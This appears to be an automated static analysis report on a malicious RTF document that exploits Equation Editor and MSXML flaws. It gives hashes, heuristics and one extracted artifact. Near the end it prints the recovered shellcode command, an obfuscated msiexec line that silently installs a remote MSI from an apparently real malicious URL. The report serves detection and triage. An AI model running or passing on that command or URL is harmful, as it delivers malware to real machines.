Malicious RTF — malware analysis report

Static analysis result for SHA-256 2aa9c85ac3b6f66e…

MALICIOUS

RTF

229.7 KB Created: 2020-01-14 12:02:00 First seen: 2020-06-01
MD5: 88f4663e2b6f9bafb7b1e577e69e2414 SHA-1: bbc3a047234bafe49ad2fbeff16b87a3f953a13e SHA-256: 2aa9c85ac3b6f66eb6566944228bcfe07246e6f174b1c58e08c82b51cb613ff0
262 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF document contains embedded OLE objects and triggers critical heuristics for CVE-2017-11882 (Equation Editor FONT record overflow) and CVE-2017-8759 (MSXML SAX OLE activation). These vulnerabilities are commonly exploited to execute arbitrary code. A suspicious extracted artifact, objdata_00_off0000898a.bin, signals the presence of shellcode and a URL, indicating the file likely acts as a downloader for a second-stage payload.

Heuristics 7

  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759
    RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 3 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://expertswebservices.com/wpp/jlk.msi In RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000898a.bin rtf-objdata-decoded RTF \objdata at offset 0x898A 15892 bytes
SHA-256: 3b81257323bee49729d1a02c7077257c5edd46e35e9e09e8639e7e7c74ca3238
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://expertswebservices.com/wpp/jlk.msi Static shellcode analysis recovered command string(s): cmd.exe /C m^sie^xec^.exe /i http://expertswebservices.com/wpp/jlk.msi /qn

Open this report in the interactive analyzer, or submit your own file for analysis.